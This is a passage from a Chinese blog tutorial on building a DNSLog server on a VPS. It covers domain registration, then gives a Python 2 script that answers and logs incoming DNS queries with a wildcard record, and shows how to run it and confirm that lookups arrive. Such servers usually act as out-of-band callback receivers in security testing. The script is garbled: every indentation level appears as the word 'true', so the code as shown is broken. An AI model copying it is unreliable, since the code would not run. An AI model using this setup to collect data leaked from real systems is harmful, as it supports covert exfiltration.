如果你上一步没有注册用户,那么可以直接在这里填你用来注册用户的邮箱,然后根据指引进行操作。
如果注册了用户,只需要直接登录就可以了。

进入到Review and Checkout页面,填入一些你的基本信息就可以了

这里记得勾选Lock profile,你的信息就不会被whois查询到了。

接着下一步,勾选Complate Order,域名就注册成功了。

部署DNS服务

登录你的VPS服务器,运行下面这个python脚本,将在你的VPS主机监听UDP 53端口,并且回复DNS响应包:

记得修改IP地址和NS域名,在最后。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2014-06-29 03:01:25
# @Author : Your Name (you@example.org)
# @Link : http://example.org
# @Version : $Id$

import SocketServer
import struct
import socket as socketlib
# DNS Query
class SinDNSQuery:
truedef __init__(self, data):
truetruei = 1
truetrueself.name = ''
truetruewhile True:
truetruetrued = ord(data[i])
truetruetrueif d == 0:
truetruetruetruebreak;
truetruetrueif d < 32:
truetruetruetrueself.name = self.name + '.'
truetruetrueelse:
truetruetruetrueself.name = self.name + chr(d)
truetruetruei = i + 1
truetrueself.querybytes = data[0:i + 1]
truetrue(self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])
truetrueself.len = i + 5
truedef getbytes(self):
truetruereturn self.querybytes + struct.pack('>HH', self.type, self.classify)



# DNS Answer RRS
# this class is also can be use as Authority RRS or Additional RRS
class SinDNSAnswer:
truedef __init__(self, ip):
truetrueself.name = 49164
truetrueself.type = 1
truetrueself.classify = 1
truetrueself.timetolive = 190
truetrueself.datalength = 4
truetrueself.ip = ip

truedef getbytes(self):
truetrueres = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)
truetrues = self.ip.split('.')
truetrueres = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))
truetruereturn res

# DNS frame
# must initialized by a DNS query frame
class SinDNSFrame:
truedef __init__(self, data):
truetrue(self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])
truetrueself.query = SinDNSQuery(data[12:])

truedef getname(self):
truetruereturn self.query.name

truedef setip(self, ip):
truetrueself.answer = SinDNSAnswer(ip)
truetrueself.answers = 1
truetrueself.flags = 33152

truedef getbytes(self):

truetrueres = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)
truetrueres = res + self.query.getbytes()
truetrueif self.answers != 0:
truetruetrueres = res + self.answer.getbytes()
truetruereturn res

# A UDPHandler to handle DNS query
class SinDNSUDPHandler(SocketServer.BaseRequestHandler):
truedef handle(self):
truetruedata = self.request[0].strip()
truetruedns = SinDNSFrame(data)
truetruesocket = self.request[1]
truetruenamemap = SinDNSServer.namemap
truetrueif(dns.query.type==1):
truetruetrue# If this is query a A record, then response it
truetruetruename = dns.getname();
truetruetruetoip = None
truetruetrueifrom = "map"
truetruetrueif namemap.__contains__(name):
truetruetruetrue# If have record, response it
truetruetruetrue# dns.setip(namemap[name])
truetruetruetrue# socket.sendto(dns.getbytes(), self.client_address)
truetruetruetruetoip = namemap[name]
truetruetrueelif namemap.__contains__('*'):
truetruetruetrue# Response default address
truetruetruetrue# dns.setip(namemap['*'])
truetruetruetrue# socket.sendto(dns.getbytes(), self.client_address)
truetruetruetruetoip = namemap['*']
truetruetrueelse:
truetruetruetrue# ignore it
truetruetruetrue# socket.sendto(data, self.client_address)
truetruetruetrue# socket.getaddrinfo(name,0)
truetruetruetruetry:
truetruetruetruetruetoip = socketlib.getaddrinfo(name,0)[0][4][0]
truetruetruetruetrueifrom = "sev"
truetruetruetruetrue# namemap[name] = toip
truetruetruetruetrue# print socket.getaddrinfo(name,0)
truetruetruetrueexcept Exception, e:
truetruetruetruetrueprint 'get ip fail'
truetruetrueif toip:
truetruetruetruedns.setip(toip)

truetruetrueprint '%s: %s-->%s (%s)'%(self.client_address[0], name, toip, ifrom)
truetruetruesocket.sendto(dns.getbytes(), self.client_address)
truetrueelse:
truetruetrue# If this is not query a A record, ignore it
truetruetruesocket.sendto(data, self.client_address)

# DNS Server
# It only support A record query
# user it, U can create a simple DNS server
class SinDNSServer:
truedef __init__(self, port=53):
truetrueSinDNSServer.namemap = {}
truetrueself.port = port

truedef addname(self, name, ip):
truetrueSinDNSServer.namemap[name] = ip

truedef start(self):
truetrueHOST, PORT = "0.0.0.0", self.port
truetrueserver = SocketServer.UDPServer((HOST, PORT), SinDNSUDPHandler)
truetrueserver.serve_forever()

# Now, test it
if __name__ == "__main__":
truesev = SinDNSServer()
sev.addname('ns0.nogan.ga','x.x.x.x')
sev.addname('ns1.nogan.ga','x.x.x.x')
sev.addname('www.nogan.ga','y.y.y.y')
sev.addname('*', '127.0.0.1') # default address

truesev.start() # start DNS server

将上面的ns0.nogan.ga和ns1.nogan.ga改成你的域名,并且将x.x.x.x改成你的VPS服务器地址。
如果你在搭建DNSLog的同时还想顺便搭建一个网站的话,可以添加一个www记录,指向你的web服务器地址。
星号是将任意地址执行127.0.0.1,这样你的DNSLog请求记录,都会被默认解析到127.0.0.1。

接着在服务器上运行

1
python dns.py

在任意机器上面ping xxxxx.YOURDOMAIN:

可以在VPS上观察到请求已经过来了

但这个时候程序是一直在控制台运行的,想要退出怎么办呢,用nohup将程序改为背景运行:

想要关闭的话,先查看端口并获取进程号,然后kill即可:

Enjoy it~

附:

搬瓦工VPS优惠地址 (推荐 $19.99/年,约合RMB¥128):

https://bandwagonhost.com/cart.php
可能要扶梯 = =



Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×